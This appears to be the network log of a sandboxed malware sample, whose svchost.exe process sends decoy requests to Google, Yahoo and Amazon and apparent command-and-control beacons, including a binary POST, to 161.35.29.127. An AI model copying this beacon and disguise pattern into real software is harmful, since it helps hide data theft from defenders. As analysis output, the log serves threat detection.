no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	50017	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:20 UTC	1040	OUT	GET /8ibcfjcGeboixwKrb3iyFabdjtbLmv/zZ2nQm99Tn5okeb750Xjn7Jird53Dpinvo4w3K0dbc10k7n2/uTqmg0btwoxb7ij2i8zR8m3ga/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:20 UTC	1040	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1667 Date: Tue, 28 Sep 2021 07:54:20 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:20 UTC	1041	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:20 UTC	1042	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	50021	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:20 UTC	1042	OUT	GET /eXJT8urr30tgdbjfmfgNgi0hwBfp7bb/izprj0njylnwn6ciTs78oz1t24w5/qvUhaqTr45h302liS936mwVgcB0YP11vIxt24wqj/eKolr53Dc8p37o2dji9rfrph2imal0N/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:20 UTC	1046	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1695 Date: Tue, 28 Sep 2021 07:54:20 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:20 UTC	1046	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:20 UTC	1047	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49879	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:37 UTC	598	OUT	GET /feed/news/last HTTP/1.1 Cookie: HSID=ZfKEWxn6dwNA2MHhkh0hKjZoDN7GeRFLwaLtN1RP6EaeHYuH2ZKBmZaWnGyM2mqeV1BkrPIIoCtq1zFXPM3UhVY4gDVAsRUBJVXeFqO77RSiqH%2BUAr4cLy%2BJsm7Ksx4Esb9qoH%2BC7xiH%2F2CpRR2hwBSZN25nKdiV%2FLiVY84GdJnzbQKwANDQHR7AUfLGGYRt%2BJSHaqwPnra62kPUiOXpfaiZaHRZiNaz3SpCKrmlrMPhXTLnmANAmYeV0qjfX6sVDxOPjBuXNvfbBHyXYj5FjjleXb7ROHDzlK7k5C32FRXP4YARsLF4APvTr6%2B4pengklSTAAm1w7%2BJGdSc5j1cJQ%3D%3D;SIDCC=dVl2gKrBjdUHhTJMH5wPXWPdkdMMTnl1y3CSiyXOMqHQmaP8H7W9kGUC6IzQ7jK61cCdy47%2FbxIPYz7HHMYFsGiOynzPD1boaE5oHavJ01m4BjYjRdjRMB%2BTDsFpol9Y%2FxVO4EfBJ6HEavwUtmRDNlfSpDSGsmMwE2YEBf8mOR4xbBlB8XYwQ%2BUjq2gO7AB0L4l%2BT5RZM1iUf1kPVrLw8BE7GR%2F9UL2vcuxIBxStxDdrqeAyhN0Ygvox8%2Bj%2B2k%2Fc0pbyLeu7q4KdLOaEK4xCZdgVS8hudoUCd8MiPfMjOZV%2F3oVH1xhbSfFieLGslUyXVSs0qOqULOJRqQNVk%2FCRTQ%3D%3D;SID=e7QzHmqOHdsr%2FcOwdVgIAFuKLO7kFSwpnfu2Iw1dDGBRAA3Rxmhlv3k2aYal7b7JzYTOW8clWLK48rXv5o3nYaG2OYoyGkmVwmaJWhxvxjYQU3qYW83yyh6mKapqmAgiVW7Kt882DF4FePasDBUucV9CDFptA35aiteIF0xMshycP%2FX4GdDcC7KByfDvjhHm%2BZiTabU8ic8MKLg40FMuTBNIXHirS1oL1Gr7CpV%2F6ywD0s4Z6bkplcHlVgAFL2vZGVJLarOptcUZsCYz1Iv6Mt9XnocxTNzygmheXKuWGNqAXaK6dgpEzj%2FzlpdGklX7JTqcBc9N54rIqSNV5nZ2jg%3D%3D;SSID=GbVw7lLmBHjwzPOC49YQ61rSJpT3BZeuC3KXf5msZEwcJcrkjGPNe3zosBWdV8NOw2O3I5tnMBQr7gjY5JwQUMBipARSPOb5lvvuoc3%2FLJKak9TvYIU6IcAoiJJ%2Bh1p8QpiLqyqOe%2FI5Z5PLeIjSSWoDckGSbmWk3K6ztayNJgvCpZyumLXgIDH46xiKkL7aa21vfT38fFo5uQLuDU4zulA7B5Uc14igV6egMM9CO1orJ2kLHLSefV7HTqlbFeLQ8MGohvVLlGnFNvK7V5%2FmMMB9iZjRTf%2BUFHdNbiNlHd%2F3DR%2BHDDcuEog%2Fit6PvsJYSJ0XXGai4u9V7ibZZ%2BHSLg%3D%3D; X-Tag: dAkxCQ4CZYXk4p7vpbvhYhPeX4qeDvnYBUDtgdnP7Nhl0Xlypd0m6TUqqnZjwNfJmCNYha54LGsFZ44ayK9lVNzmIf3wzhIkUWV0Zo3NdgfS36fktpWcrY%2BdAMugbeb%2B8v2u%2Bre%2FhRe%2FtlYnhARo7aRbe1vdsQvVlcOMu0e2TmsYpspxQNW8aqihBKK1qUG8X63QuvItRPJFm%2FnlLH7V7vJ2HOmQYYDgcQONaYhr%2Bn3BqIc9e9BoJb4%2FvUVf%2FWdD5dwlNJ5QTVlxnmQ0Xz%2BoMWcynBST8P3aSx4%2F8lPYA4PedlG9sikmPberg7MpFL%2F1rNh%2B1xAMejkPBJnf%2FHCDfg%3D%3D X-Csrf-Token: u5H2y78AQTWdgTu54qdbCzceh52Wvmbz5gBBNKYsdEtQClXbD8tWJ4%2Bk3TwkCm%2BsukXxGf6%2FHwg8TyhveyD8FYVQKre5BIa1%2FXpt7fcx8oxOuWrzCqv1wKNRdnLWe3ZYmXdcE1si6zNBJUDXqxf4D8%2BJsbp86DAipVKJmfNvYh8w0%2FRIOw8%2BhMwHMdHii10K%2FR%2F48we32UYEBw5ihjN%2BxSeUTBFWrIqTNYETk3H5pGu73xkFn%2FpRpDT%2BndEIMIJ58jIRSOJGAeh8PMhAeUtMdJ7b7hM9KmzkKoBmkCoM61zHK%2B7shylm6igYppEShIdVkQbMRf3DfhMFWT9ohwDAgQ%3D%3D X-Request-ID: SoF0RoZV0FOr7FK1LUjMRwnonj4Uxgno4n01KbT9j9YW5f2jgw0bDbutcW122%2BVfbG0AQ0l%2FJCbIhJjm78c7Uh3uHw8wNPfNBrtzoUHjtQX0ZA1k2wSBwLbQuaqi55r17vPza7mkknMPmp45XZxmulc%2FwUdK7ZAjgsWAOF4d0ULDsG9HM7MAX3ElouNh6p3mSJXbd70qzHHyEaQf00cJkZy5RpA%2Bj77AgYRHZFmZA5IRJoVhWbIctQt14W4113nqgcwdzy9eCu4aRTuRfyMKaZtXxluZAJgt%2Fi7cgQemLClHVTfv97Zen71Rrsq%2Fzcj0A4%2BUnUzjYDBI5xbwwpS8%2Fg%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127
2021-09-28 07:53:42 UTC	888	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Content-Length: 2 Connection: close Date: Tue, 28 Sep 2021 07:53:41 GMT Set-Cookie: actual=GvmpsG7j0GTUDZ0mvqunNxKxDcJGExgFRd1Oo5z5g8VRT6KFhIJ8mJ4bNTOkJlBay2t4p12zZhezkYHy5EtJqlReOB9RNM2vcBCNvXfhoQ2TzuexOhxkKcpOZbT1rjtwGnq2UrOmIst1BJEkM6766HSfbsibNAaXTLgSfh1Yu5ZqzqO2P5yOyPlpqImzV8WfGkjfuOCuRKFNwaglOvRKxv8yUMkWqBwdZQP1Nrzq8w20weRbNJ2S2I2w6x84s97Q Set-Cookie: query4=4r9HMwaCc6SzYCin4OR5hrnZckZWBYhfJH4Ibgev8fbmDYLYuv5HWtFHNbAI82l09qUhEbQmqGAC4w23d7P2IL7jlH0mKh4Jw5181NjTh9Fz9RnsgcwkfC12O003Ou8MIylz1VZFX5mSXbptyjMkQ9KOvMCwFOYYO2LnjUa5EmcLmQvf1Gb3xZxYgfa27z6sewT1wOog5hASt7noq6bvOlI5M61g6SQIVuL2l0sbM4GezRe8pocoXCALedOYPMPb Set-Cookie: SVALUE=UN0W%2BLbhLLy4wXLGUrLhXCr3m%2BUPPCHWurNE%2Bw%2F16qD1AL7ZZMPeH2yVKDHn1hPFLQBvrBhVYx5JV9LZSlGvpx3RH64415bMAEVd3F05ZCtYiv1fS3xMKgLVKyLEeI868CrKGoHrEIXlZ0YHuAKC%2FwxkhLEEvUHRJ7j7cn92YNysjsFQgpayiPTLLGUDfR7v3gBuQCpGEswEXAbnnU%2BPUpMnMIPmKYZLCVsZ0P%2BFz9xpbvB2OicwubsAnf%2F%2BEna5EQIGq6GYyXjvuKMKPZEFOcSg3SIXFDzKGA12jLgnz7jW123JG5z9Bt44bxXIJXbxXwwlWH0kIAin6VoXI5Z0iw%3D%3D Set-Cookie: bdata=732476 X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2021-09-28 07:53:42 UTC	889	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	50020	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:20 UTC	1043	OUT	POST /feed/news/last HTTP/1.1 Content-Type: application/octet-stream Cookie: HSID=KiFAnD3D3IVJK0lFTwVWDZSU79n%2F9AR9gje6L5QU34BMvYzlh5zlZfPYBL190vt5zMDhIOaeAQOY8sAJE5kiGtlBNfq6HiOrj%2F3odEFKNLax3TXt9mR12i5gnL2Uyf%2BzbS1Tb2LtdicH1pg%2FUbdS9WFz514lITcYzROru%2FPm3UsEgNHOYC9glLUeBk77E8vmRt5c19qOUykvoQsHio%2BMR0VIHK270%2FtPw2Ma60F7xFdbdR%2BMmLWVX0YR%2FdBMXwY2DPp7qWVcnBNVMDkOtL29i0%2F%2BnD63Bxja%2BYMZwrYOdB8VWH6eii4St9sPyVm6jINHtdx6wnQHvutIpwNqlpHwww%3D%3D;SIDCC=PfH%2B0ma1co%2F8LLDhPWUPT1M9ZICi04OPWIznYjRv73dtf1xqttbkUoAc278%2BSe1vv%2FHT3P7jgzB7qzMXuPnuRfLp%2F1YUm7XxhycQf%2BISRKVPuM20pvkTsgrcZWSxksm3UXFqnUwAX3MEcVgqgbD9cYhCx4LrI7CwPTkzRMchXGaXsWQ3xZLr4ZNsnSQebMbUTKAr9zVFXYm5OeI7PKSoAP6pUc0%2FOVXS1cN0AyQ2yufChpQ1P0pql%2FzCJcDKKbuxX98TdBKv5roGT35YHrm0moaI6%2Br0hQinzePu7Lr5nzeCo6nik%2FdtObd5qpVWgn31nbyfksMkgz%2Bb73kdC7QWsQ%3D%3D;SID=2KpeBYcCuTlTodoiDo8KUeOWHi9yodTrYnf%2FrGYPd2IUTp3ZDXoogX8Z76TGTedYJHcgcDwnZGK4v3Bgg5tSDQyj3w9V1aANfalU5hCoH2%2B7gqzJcNmmTsy%2BUUwXh%2FaBR%2BtCpQ5gmlv1hmD%2FkvBMFveVZPF%2B2pSdD3FUBPLVagjpzrj2zuXOFIP%2BbQqtl1mlg0cZPA7ObTSW6bq1PhbUQW8t9b6VQ%2F0Phk7fYTQkIm9LNojkIZe6s3kRTsBfWOEKI2OdNQqhmlHrrP%2B7kT44S7zJFZSf96hIfoq2xR71im85DcJGJ2uFBt5wzsJp5q%2F1ppBLpC35kWnGBvx6U8pCHQ%3D%3D;SSID=hyB7%2FEiZ5w1wDM5J7gfb7kpmel5kqYmuI3dRbxn5ps57i9IeeS%2FhvpACF2PkQqkVSORq2tUa%2FA9k83fXC9mvQN9ynGrlOfXSnOllu%2Fy1DrgnVp9mot3y8khUdlZ1ddzKhfCOet8HareA5SPHbrBshQKqFZ19QspAYtY%2B0D5cydNM76xkzByBSQNIygXnkZAdObe1S2lSOnAEftlWZ5gSQV4IBYdbn22bGER8BuE0bRcLUKF3gAH51f6StplQEjGlTdwBynXY17brJZ%2BpoymcElCS56F69rOx9cmv00OINT0vn221etcOnfCOPDe9gmiXrSPvBb2YA%2F%2BQX1cdinHZiQ%3D%3D; X-Tag: EvuV6kdFmce%2B4JHf%2Fqj93vz4gUqpRy2qJEg9BK5EQF%2FpxsdfRwtcCve7yQllIdtfYXUvyGcAkt9dLcY%2Fn9Kml8nd7yHb8Cz9WITEWlUWY%2BIw6OKJIr17RJsCYNheC5b0WWZhzARosUERngLdZQtYyEJO%2BKYCOzy6hsGBIQ4sDKqPnEo%2B4JAZFrOTjx%2BI7JK4Tr8Cgq7bGBLRetmbQ%2BvcKTvkfxCaPyCXkAns95Lchqz9PoXsEMXARxNwhCQ5Y9uXBCG8Aq3tr7qs%2FRoeUA9WRdyJTvKI3XwzI8j8F8lV5FHinHBBsBAaMi9NPFboJdve5kZzIFvPQa21xBaxCw%2BmPw%3D%3D X-Csrf-Token: SfDwrNeKlCiR1z0Q2cjYx%2B71zWA%2FPR%2B1oigPQZ%2Bn7l4MP0%2FudFc55MNMaBBQrM4Jff4MAH05ONrKs%2BfY8hR1dupQQu6aBvDzlMmK6kzV35DKYMfdaXRJlzY9JrqplFP%2F40xdcnXO7nDCPpyNA377WMaUweuezlkprTDvOIEy%2F5nv3Boi96SAyVJCQv3jduDcKALB0e%2FC9OUVBjhG2U2%2FZdjYKkJCNkE0Y9R1t%2FOYyy3Zmc1aQtNWYlY%2F6Xo9aROLK8H24vrYbUMCFIhP1qglSwBY6X0PP5b0KLtBPsRDMCZcg0DIPsenxTu4r27YYf5WG9xzS5orRu3iQxSAavemDQ%3D%3D X-Request-ID: 45zeTMiUn34wsPkjazlZsTlOe0qs8nsgm05GVZN3aC29b7RDmb8O2NqNkNaqE2RsmGEWyfbrFvDBALVlaTOqEqRMJMTpQb4UCQ7Oizu%2FIqJbIZbamthykwSSMQfP01RYHEaetom2%2BF6mj9SD%2FQgL3YNN69ePhqUw163Hl4Q%2B%2FMXIgpGvs3WFm6OFMJ2Q70E4Bz4sVLvhwYVpZm8J7kG6CoWAcL%2BrTcFxm2uVfXog8VjNmHqMiyb8%2BDbgIq12SKjQ5dAcAA8gBFnm1LwiGaV7oYOl8T8Q5QprqFZ1W5iyHS4YkugTRZFRB%2BbIDllPruYuxtUH0r000F0UBia9m6TGDQ%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
2021-09-28 07:54:20 UTC	1046	OUT	Data Raw: 1b 7a b2 7a 6d 10 0e 46 3e 9a 96 51 25 1a 31 8e 3c 34 28 5c 7f c7 cb 8a 30 03 81 a1 48 36 bf d0 83 52 30 96 ec a5 b0 5b d6 50 dc 62 73 2e 7f 35 47 42 84 6a ff 29 ff 27 f6 26 96 8e 41 27 32 dc 54 11 7e b4 68 d5 30 f9 5f 00 fe b9 be df ac 57 ca d6 53 5e 3c e1 2a 7b c9 6c 50 4b 67 45 bb 50 4f fb a6 5f db f7 81 44 c5 b1 b1 a2 3a 46 db 51 a4 95 de fd e4 0b 95 da 3a 85 87 09 7c cb 64 83 b1 c9 7e 99 fa 0a ad 6d d5 69 d9 72 c4 c3 43 99 f4 16 56 35 dc 80 95 d0 39 a0 ef 2e c0 12 f3 15 c1 56 03 67 56 75 9c 8d 0f 18 2f c8 28 d7 c1 0a d3 70 75 3d 65 b6 2b d8 7d 1a df 48 e6 b7 e7 5f 19 42 ff 44 27 af 8f 23 13 68 b2 c4 8a c0 aa 18 6e 22 d5 82 6c 5b 61 59 5a b3 f1 a0 09 fc 6f 5d a3 90 a5 5b 78 a4 d7 ed 9c 31 a9 34 c0 48 5f 25 ca 46 52 a9 39 88 3a f4 5d 57 53 b6 67 b4 15 Data Ascii: zzmF>Q%1<4(\0H6R0[Pbs.5GBj)'&A'2T~h0_WS^<*{lPKgEPO_D:FQ:\|d~mirCV59.VgVu/(pu=e+}H_BD'#hn"l[aYZo][x14H_%FR9:]WSg
2021-09-28 07:54:23 UTC	1055	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:54:23 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	50023	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:21 UTC	1048	OUT	GET /t68w4hdtscM8g0hDHS/jj2n2qbx9wLretb7Qpyjm1dT3jj4/Rkdpna500syortMyiFplX88cutl71rSf9lnsls1808mz/mthQ69c32jn9lA3vnvCbB9aqht/l93oNxuMn8nonoSf5k74ujq9hx07aopnjgu3YrOzozvk7x/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:21 UTC	1048	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:21 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 914 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=4pr16otgl5ihd&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:21 UTC	1050	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 31 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:21 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:21 UTC	1050	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 74 36 38 77 34 68 64 74 73 63 4d 38 67 30 68 44 48 53 25 32 66 6a 6a 32 6e 32 71 62 78 39 77 4c 72 65 74 62 37 51 70 79 6a 6d 31 64 54 33 6a 6a 34 25 32 66 52 6b 64 70 6e 61 35 30 30 73 79 6f 72 74 4d 79 69 46 70 6c 58 38 38 63 75 74 6c 37 31 72 53 66 39 6c 6e 73 6c 73 31 38 30 38 6d 7a 25 32 66 6d 74 68 51 36 39 63 33 32 6a 6e 39 6c 41 33 76 6e 76 43 62 42 39 61 71 68 74 25 32 66 6c 39 33 6f 4e 78 75 4d 6e 38 6e 6f Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2ft68w4hdtscM8g0hDHS%2fjj2n2qbx9wLretb7Qpyjm1dT3jj4%2fRkdpna500syortMyiFplX88cutl71rSf9lnsls1808mz%2fmthQ69c32jn9lA3vnvCbB9aqht%2fl93oNxuMn8no

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	50025	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:22 UTC	1051	OUT	GET /Bllcs2iayVogzcpjjz/ko1mrpszv35M6i5cq8xioudL0qh5yZo2kfo8kadfz4R3hq2/KotyZh3e289wHuknSysiis2308hdZk62ss1c8/kqh4tm2n5muxb0xy5fe8o7r9vcolf/v27frxrHyr2Yg3bksUursX0om2m590ihdGwsn8J/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
